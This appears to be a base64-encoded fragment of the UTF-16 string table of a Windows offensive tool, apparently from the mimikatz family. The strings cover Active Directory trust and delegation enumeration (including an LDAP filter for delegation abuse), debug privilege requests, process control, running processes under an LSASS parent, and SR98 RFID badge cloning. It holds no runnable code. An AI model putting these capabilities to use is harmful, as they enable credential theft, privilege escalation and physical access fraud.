AAYQBmAHAAAABuAG8AdgBlAGwATAAAAAAAZABvAG0AYQBpAG4AXwBtAGUAbQBiAGUAcgAAAHAAcgBpAG4AdABxAF8AcwBlAHIAdgBlAHIAAABkAGkAYQBsAGkAbgBfAHMAZQByAHYAZQByAAAAcwBlAHIAdgBlAHIAXwB1AG4AaQB4AAAAbgB0AAAAAAB3AGYAdwAAAHMAZQByAHYAZQByAF8AbQBmAHAAbgAAAHMAZQByAHYAZQByAF8AbgB0AAAAcABvAHQAZQBuAHQAaQBhAGwAXwBiAHIAbwB3AHMAZQByAAAAYgBhAGMAawB1AHAAXwBiAHIAbwB3AHMAZQByAAAAAABtAGEAcwB0AGUAcgBfAGIAcgBvAHcAcwBlAHIAAAAAAGQAbwBtAGEAaQBuAF8AbQBhAHMAdABlAHIAAABzAGUAcgB2AGUAcgBfAG8AcwBmAAAAAABzAGUAcgB2AGUAcgBfAHYAbQBzAAAAAAB3AGkAbgBkAG8AdwBzAAAAZABmAHMAAABjAGwAdQBzAHQAZQByAF8AbgB0AAAAAAB0AGUAcgBtAGkAbgBhAGwAcwBlAHIAdgBlAHIAAAAAAGMAbAB1AHMAdABlAHIAXwB2AHMAXwBuAHQAAAAwAHgAMAA4ADAAMAAwADAAMAAwACAAPwAAAAAAZABjAGUAAABhAGwAdABlAHIAbgBhAHQAZQBfAHgAcABvAHIAdAAAAGwAbwBjAGEAbABfAGwAaQBzAHQAXwBvAG4AbAB5AAAAZABvAG0AYQBpAG4AXwBlAG4AdQBtAAAAcABsAGEAdABmAG8AcgBtAF8AaQBkADoAIAAlAHUACgBuAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAHYAZQByAHMAaQBvAG4AIAAgACAAIAA6ACAAJQB1AC4AJQB1AAoAYwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgB0AHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBlAHIAdgBlAHIAaQBuAGYAbwAgADsAIABOAGUAdABTAGUAcgB2AGUAcgBHAGUAdABJAG4AZgBvADoAIAAlADAAOAB4AAoAAABJAE4AXwBGAE8AUgBFAFMAVAAAAEQASQBSAEUAQwBUAF8ATwBVAFQAQgBPAFUATgBEAAAAVABSAEUARQBfAFIATwBPAFQAAABQAFIASQBNAEEAUgBZAAAATgBBAFQASQBWAEUAXwBNAE8ARABFAAAARABJAFIARQBDAFQAXwBJAE4AQgBPAFUATgBEAAAAAABOAE8ATgBfAFQAUgBBAE4AUwBJAFQASQBWAEUAAAAAAFUAUABMAEUAVgBFAEwAXwBPAE4ATABZAAAAAABGAEkATABUAEUAUgBfAFMASQBEAFMALwBRAFUAQQBSAEEATgBUAEkATgBFAEQAXwBEAE8ATQBBAEkATgAAAAAARgBPAFIARQBTAFQAXwBUAFIAQQBOAFMASQBUAEkAVgBFAAAAQwBSAE8AUwBTAF8ATwBSAEcAQQBOAEkAWgBBAFQASQBPAE4AAAAAAFcASQBUAEgASQBOAF8ARgBPAFIARQBTAFQAAABUAFIARQBBAFQAXwBBAFMAXwBFAFgAVABFAFIATgBBAEwAAABUAFIAVQBTAFQAXwBVAFMARQBTAF8AUgBDADQAXwBFAE4AQwBSAFkAUABUAEkATwBOAAAAVABSAFUAUwBUAF8AVQBTAEUAUwBfAEEARQBTAF8ASwBFAFkAUwAAAFQAUgBFAEUAXwBQAEEAUgBFAE4AVAAAAEQASQBTAEEAQgBMAEUARAAAAAAASQBOAEIATwBVAE4ARAAAAE8AVQBUAEIATwBVAE4ARAAAAAAAQgBJAEQASQBSAEUAQwBUAEkATwBOAEEATAAAAHQAcgB1AHMAdABQAGEAcgB0AG4AZQByAAAAAABmAGwAYQB0AE4AYQBtAGUAAAAAAHQAcgB1AHMAdABBAHQAdAByAGkAYgB1AHQAZQBzAAAAdAByAHUAcwB0AEQAaQByAGUAYwB0AGkAbwBuAAAAAAB0AHIAdQBzAHQAVAB5AHAAZQAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAFIAUABDACAAbQBvAGQAZQA6ACAAAAAAAAoAWwAlADIAdQBdACAATgBlAHQAYgBpAG8AcwAgACAAIAA6ACAAJQBzAAoAIAAgACAAIAAgAEQATgBTACAAIAAgACAAIAAgACAAOgAgACUAcwAKACAAIAAgACAAIABGAGwAYQBnAHMAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgACgAIAAAAAAAIAAgACAAIAAgAFAAYQByAGUAbgB0ACAAIAAgACAAOgAgAFsAJQAyAHUAXQAgACUAcwAKAAAAAAAgACAAIAAgACAAVAB5AHAAZQAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAAAAAAEQATwBXAE4ATABFAFYARQBMACAAKABEAEMAIAA8ACAAMgAwADAAMAApAAoAAAAAAFUAUABMAEUAVgBFAEwAIAAoAEQAQwAgAD4APQAgADIAMAAwADAAKQAKAAAATQBJAFQAIABLAGUAcgBiAGUAcgBvAHMAIAByAGUAYQBsAG0ACgAAAEQAQwBFACAAcgBlAGEAbABtAAoAAAAAAHIAZQBzAGUAcgB2AGUAZAAgAGYAbwByACAAZgB1AHQAdQByAGUAIAB1AHMAZQAKAAAAAABwAHIAbwB2AGkAZABlAHIAIABzAHAAZQBjAGkAZgBpAGMAIAB0AHIAdQBzAHQAIABsAGUAdgBlAGwACgAAAAAAIAAgACAAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAgAAAAAAApAAoAIAAgACAAIAAgAFMASQBEACAAIAAgACAAIAAgACAAOgAgAAAACgAgACAAIAAgACAARwBVAEkARAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdAByAHUAcwB0ACAAOwAgAEQAcwBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBUAHIAdQBzAHQAcwA6ACAAJQB1AAoAAAAKAAoATABEAEEAUAAgAG0AbwBkAGUAOgAgAAAAZABlAGYAYQB1AGwAdABOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0AAAAAABDAE4APQBTAHkAcwB0AGUAbQAsACUAcwAAAAAAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQB0AHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuACkAAAAlAHUAIABlAG4AdAByAGkAZQBzAAoAAAAKACUAcwAKAAAAAAAgACAAJQBzADoAIAAAAAAAJQAqAFMACgAAAAAAMAB4ACUAMAA4AHgAIAAtACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHQAcgB1AHMAdAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAHUAcwBlAHIAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQAAAAAAdQBzAGUAcgBBAGMAYwBvAHUAbgB0AEMAbwBuAHQAcgBvAGwAAAAAAHMAZQByAHYAaQBjAGUAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAAAAAbQBzAEQAUwAtAEEAbABsAG8AdwBlAGQAVABvAEQAZQBsAGUAZwBhAHQAZQBUAG8AAAAAAG0AcwBEAFMALQBBAGwAbABvAHcAZQBkAFQAbwBBAGMAdABPAG4AQgBlAGgAYQBsAGYATwBmAE8AdABoAGUAcgBJAGQAZQBuAHQAaQB0AHkAAAAAAG8AYgBqAGUAYwB0AFMAaQBkAAAAKAAmACgAcwBlAHIAdgBpAGMAZQBQAHIAaQBuAGMAaQBwAGEAbABuAGEAbQBlAD0AKgApACgAfAAoAG0AcwBEAFMALQBBAGwAbABvAHcAZQBkAFQAbwBBAGMAdABPAG4AQgBlAGgAYQBsAGYATwBmAE8AdABoAGUAcgBJAGQAZQBuAHQAaQB0AHkAPQAqACkAKABtAHMARABTAC0AQQBsAGwAbwB3AGUAZABUAG8ARABlAGwAZQBnAGEAdABlAFQAbwA9ACoAKQAoAFUAcwBlAHIAQQBjAGMAbwB1AG4AdABDAG8AbgB0AHIAbwBsADoAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADQALgA4ADAANAA6AD0AMQA3ADMAMAAxADUAMAA0ACkAKQAoACEAKABVAHMAZQByAEEAYwBjAG8AdQBuAHQAQwBvAG4AdAByAG8AbAA6ADEALgAyAC4AOAA0ADAALgAxADEAMwA1ADUANgAuADEALgA0AC4AOAAwADQAOgA9ADYANwAxADEANwAwADUANgApACkAKAB8ACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AYwBvAG0AcAB1AHQAZQByACkAKABvAGIAagBlAGMAdABjAGEAdABlAGcAbwByAHkAPQBwAGUAcgBzAG8AbgApACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AbQBzAEQAUwAtAEcAcgBvAHUAcABNAGEAbgBhAGcAZQBkAFMAZQByAHYAaQBjAGUAQQBjAGMAbwB1AG4AdAApACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AbQBzAEQAUwAtAE0AYQBuAGEAZwBlAGQAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACkAKQApAAAAZABuAHMAAAAKACAAIAAgACAAJQAqAFMAAAAAAEhUVFAvAAAAIAAqACoAIABOAEEATQBFACAASQBTACAATgBPAFQAIABSAEUARwBJAFMAVABFAFIARQBEACEAIAAqACoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBkAGUAbABlAGcAIAA7ACAARABuAHMAUQB1AGUAcgB5ADoAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGQAZQBsAGUAZwAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAADEAMwA1AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBkAGMAbwBtAF8AaQBmACAAOwAgAFMAZQByAHYAZQByAEEAbABpAHYAZQAyADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZABjAG8AbQBfAGkAZgAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGQAYwBvAG0AXwBpAGYAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHMAeQBzAGUAbgB2AAAAAAAAAAAAQQBzAGsAIABzAHkAcwB0AGUAbQAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAaQBkAAAAQQBzAGsAIABhACAAcAByAGkAdgBpAGwAZQBnAGUAIABiAHkAIABpAHQAcwAgAG4AYQBtAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAFAAcgBpAHYAaQBsAGUAZwBlACAAJwAlAHUAJwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBpAGQAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAaQBkACcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABMAFUASQBEACAAaABpAGcAaAAgAHAAYQByAHQAIABpAHMAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAFYAYQBsAHUAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAbgBhAG0AZQAnAAoAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAcwB0AGEAcgB0AAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAByAHUAbgAAAFIAdQBuACEAAAAAAHIAdQBuAHAAAAAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAAAAAAIAAoAAAAAAApAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAIwAlAHUAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBfAGQAYQB0AGEAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBBAHMAVQBzAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHIAdQBuAF8AZABhAHQAYQAgADsAIABDAHIAZQBhAHQAZQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAQgBsAG8AYwBrACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAuAC4ALgAKAAAAAABwAHAAaQBkAAAAAAAAAAAAWwBwAGkAZABdACAAbgBvACAAYQByAGcAdQBtAGUAbgB0ACwAIABkAGUAZgBhAHUAbAB0ACAAZgBvAHIAIABMAFMAQQBTAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABMAFMAQQBTAFMACgAAAAAAUgB1AG4AIAA6ACAAJQBzAAoAUABQAEkARAA6ACAAJQB1AAoAAAAAAEluaXRpYWxpemVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdAAAAFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAAABEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdAAAAFAASQBEADoAIAAlAHUAIAAtACAAVABJAEQAOgAgACUAdQAKAAAAAAB0AG8AawBlAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAcABVAHAAZABhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABwAEkAbgBpAHQAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAcABJAG4AaQB0ACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHIAdQBuAFAAYQByAGUAbgB0ACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAZgB1AG4AYwB0AGkAbwBuACAAcABvAGkAbgB0AGUAcgBzADoAIABwAEkAbgBpAHQAIAAlAHAAIAA7ACAAcABVAHAAZABhAHQAZQAgACUAcAAgADsAIABwAEQAZQBsACAAJQBwAAoAAAAAAHYAZQByAHMAaQBvAG4AAAByAGQAbQAAAFIARgAgAG0AbwBkAHUAbABlACAAZgBvAHIAIABSAEQATQAoADgAMwAwACAAQQBMACkAIABkAGUAdgBpAGMAZQAAAAAAWwAlADMAdQBdACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAZABtAF8AdgBlAHIAcwBpAG8AbgAgADsAIABOAG8AIABkAGUAdgBpAGMAZQAgAGYAbwB1AG4AZAAKAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQAeAAsACAAVgBlAHIAcwBpAG8AbgA6ACAAMAB4ACUAMAA0AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAZABtAF8AbABpAHMAdAAgADsAIABOAG8AIABkAGUAdgBpAGMAZQAgAGYAbwB1AG4AZAAKAAAAAABiAGUAZQBwAAAAAABiADAAAAAAAGgAaQBkAAAAZQBtADQAMQAwADAAAAAAAG4AbwByAGEAbABzAHkAAABuAGUAZABhAHAAAABzAHIAOQA4AAAAAABSAEYAIABtAG8AZAB1AGwAZQAgAGYAbwByACAAUwBSADkAOAAgAGQAZQB2AGkAYwBlACAAYQBuAGQAIABUADUANQA3ADcAIAB0AGEAcgBnAGUAdAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AYgBlAGUAcAAgADsAIABOAG8AIABkAGUAdgBpAGMAZQAgAGYAbwB1AG4AZAAKAAAAdwBpAHAAZQAAAAAAYgAxAAAAAABiADIAAAAAAGIAMwAAAAAAYgA0AAAAAABiADUAAAAAAGIANgAAAAAAYgA3AAAAAAAKAD4AIABiAGwAbwBjAGsAcwBbADAAXQAgAGkAbgBkAGkAYwBhAHQAZQBzACAAUABXAEQALAAgAGIAbABvAGMAawBzAFsANwBdACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAcABhAHMAcwB3AG8AcgBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAIAAqACAAVwBpAHAAZQAgAFQANQA1ADcANwAgAHQAYQBnAC4ALgAuAAoAAAAAAAoAIAAqACAAVwByAGkAdABlACAAbwBwAGUAcgBhAHQAaQBvAG4AcwAuAC4ALgAKAAAAAAAgACAAIABbACUAaABoAHUAXQAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AcgBhAHcAIAA7ACAAUgBlAGEAZABlAHIAIABkAGUAdgBpAGMAZQAgAGkAcwAgAG4AbwB0ACAAdQBuAGkAcQB1AGUAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AcgBhAHcAIAA7ACAATgBvACAAbwBwAGUAcgBhAHQAaQBvAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAcgA5ADgAXwBiADAAIAA7ACAAWwAvAGIAMAA6AF0AMAB4AC4ALgAuAC4ALgAuAC4ALgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAcgA5ADgAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAGQAZQB2AGkAYwBlACAAZgBvAHUAbgBkAAoAAAAKAEgASQBEACAAKAAyADYAIABiAGkAdABzACkAIABlAG4AYwBvAGQAZQByAAoACgAAAAAAZgBjAAAAAAAgACoAIABGAGEAYwBpAGwAaQB0AHkAQwBvAGQAZQA6ACAAJQBoAGgAdQAgACgAMAB4ACUAMAAyAHgAKQAKAAAAIAAqACAAQwBhAHIAZABOAHUAbQBiAGUAcgAgACAAOgAgACUAaAB1ACAAKAAwAHgAJQAwADQAeAApAAoAAAAAACAAKgAgAFcAaQBlAGcAYQBuAGQAIAAgACAAIAAgADoAIAAlAEkANgA0AHUAIAAoADAAeAAlAEkANgA0AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwByADkAOABfAGgAaQBkADIANgAgADsAIABDAGEAcgBkAE4AdQBtAGIAZQByACAAKAAvAGMAbgApACAAbQB1AHMAdAAgAGIAZQAgAGkAbgAgAHQAaABlACAAWwAwADsANgA1ADUAMwA1AF0AIAByAGEAbgBnAGUAIAAtACAAaQB0ACAAdwBhAHMAIAAlAHUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwByADkAOABfAGgAaQBkADIANgAgADsAIABDAGEAcgBkAE4AdQBtAGIAZQByACAAKAAvAGMAbgApACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAcgA5ADgAXwBoAGkAZAAyADYAIAA7ACAARgBhAGMAaQBsAGkAdAB5AEMAbwBkAGUAIAAoAC8AZgBjACkAIABtAHUAcwB0ACAAYgBlACAAaQBuACAAdABoAGUAIABbADAAOwAyADUANQBdACAAcgBhAG4AZwBlACAALQAgAGkAdAAgAHcAYQBzACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAcgA5ADgAXwBoAGkAZAAyADYAIAA7ACAARgBhAGMAaQBsAGkAdAB5AEMAbwBkAGUAIAAoAC8AZgBjACkAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAcgBlAGEAZAAAAAAACgBFAE0ANAAxADAAMAAgAHIAZQBhAGQAZQByAAoACgAAAAAAIAAqACAAVABhAGcAIABJAEQAIAAgACAAIAAgACAAOgAgACUASQA2ADQAdQAgACgAMAB4ACUASQA2ADQAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AZQBtADQAMQAwADAAIAA7ACAAcwByADkAOABfAHIAZQBhAGQAXwBlAG0AaQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwByADkAOABfAGUAbQA0ADEAMAAwACAAOwAgAFIAZQBhAGQAZQByACAAZABlAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHUAbgBpAHEAdQBlACAAKAAlAHUAKQAKAAAAAAAKAEUATQA0ADEAMAAwACAAZQBuAGMAbwBkAGUAcgAKAAoAAAAgACoAIABFAE0ANAAxADAAMAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AZQBtADQAMQAwADAAIAA7ACAAVABhAGcAIABJAGQAIAAoAC8AaQBkACkAIABtAHUAcwB0ACAAYgBlACAAaQBuACAAdABoAGUAIABbADAAOwAyADUANQBdACAAcgBhAG4AZwBlACAALQAgAGkAdAAgAHcAYQBzACAAJQBJADYANAB1ACAAKAAwAHgAJQBJADYANAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHIAOQA4AF8AZQBtADQAMQAwADAAIAA7ACAAVABhAGcAIABJAGQAIAAoAC8AaQBkACkAIABpAHMAIABuAGUAZQBkAGUAZAAsACAAbwByACAALwByAGUAYQBkAAoAAAAAADEAOQA5ADkAAAAAAHkAZQBhAHIAAAAAACAAKgAgAFkAZQBhAHIAIAAgACAAIAAgACAAIAAgADoAIAAlAGgAdQAgACgAMAB4ACUAMAA0AHgAKQAKAAAAAAAgACoAIABUAGEAZwAgAEkARAAgACAAIAAgACAAIAA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACoAIABSAEEAVwAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAcgA5ADgAXwBuAG8AcgBhAGwAcwB5ACAAOwAgAFQAYQBnACAASQBkACAAKAAvAGkAZAApACAAbQB1AHMAdAAgAGIAZQAgAGkAbgAgAHQAaABlACAAWwAwADsAOQA5ADkAOQA5ADkAOQBdACAAcgBhAG4AZwBlACAALQAgAGkAdAAgAHcAYQBzACAAJQB1ACA